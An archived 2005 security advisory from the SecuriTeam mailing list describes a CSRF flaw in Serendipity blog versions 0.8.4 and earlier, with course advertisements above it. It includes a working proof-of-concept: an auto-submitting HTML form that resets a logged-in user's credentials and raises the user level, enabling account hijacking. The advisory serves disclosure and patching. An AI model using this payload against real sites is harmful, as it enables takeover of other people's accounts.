Ethical Hacking

Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package.
Computer Forensics Training at InfoSec Institute

Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors.




Network Security Exploits-HackingTools
[Top] [All Lists]

[UNIX] Serendipity Account Hijacking and CSRF Vulnerability

Subject: [UNIX] Serendipity Account Hijacking and CSRF Vulnerability
Date: 29 Sep 2005 16:48:20 +0200
The following security advisory is sent to the securiteam mailing list, and can 
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  Serendipity Account Hijacking and CSRF Vulnerability
------------------------------------------------------------------------


SUMMARY

 <http://www.s9y.org/> Serendipity is "a weblog/blog system, implemented 
with PHP. It is standards compliant, feature rich and open source (BSD 
License)".

A security vulnerability have been discovered in Serendipity that allow 
accounts to be hijacked by utilizing a CSRF technique.

DETAILS

Vulnerable Systems:
 * Serendipity versions 0.8.4 and prior

Immune Systems:
 * Serendipity version 0.8.5

An attacker is able to change the username and password of a logged-in 
user (and can therefore hijack his account) by tricking the user into 
clicking a link to a page with the following contents:

     <form
action="http://your-server/path-to-s9y/serendipity_admin.php? 
serendipity[adminModule]=personal &serendipity[adminAction]=save"
method="post">
         <input type="text" name="username" value="evilguy" />
         <input type="text" name="password" value="evilpass" />
         <input type="text" name="realname" value="John Doe" />
         <input type="text" name="userlevel" value="255"/>
         <input type="text" name="email" value="john@example.com" />
         <input type="text" name="lang" value="en"/>
         <input type="submit" name="SAVE" value="Save" />
     </form>

     <script type="text/javascript">
       document.forms[0].submit();
     </script>

The fields "your-server" and "path-to-s9y" in the form's action attribute 
have to be adjusted accordingly.

Similar attacks (termed as "Cross-Site Request Forgery" or CSRF) can be 
launched for performing other requests disguised as the victim. However, 
this problem is not limited to Serendipity, but affects a large number of 
comparable web applications available at this time.

Solution:
Version 0.8.5 of Serendipity is reported by the developers to fix the 
Account Hijacking vulnerability as well as the general CSRF problem 
itself.


ADDITIONAL INFORMATION

The information has been provided by  <mailto:enji@infosys.tuwien.ac.at> 
Nenad Jovanovic.



======================================== 


This bulletin is sent to members of the SecuriTeam mailing list. 
To unsubscribe from the list, send mail with an empty subject line and body to: 
list-unsubscribe@securiteam.com 
In order to subscribe to the mailing list, simply forward this email to: 
list-subscribe@securiteam.com 


==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any 
kind. 
In no event shall we be liable for any damages whatsoever including direct, 
indirect, incidental, consequential, loss of business profits or special 
damages. 




<Prev in Thread] Current Thread [Next in Thread>
  • [UNIX] Serendipity Account Hijacking and CSRF Vulnerability, SecuriTeam <=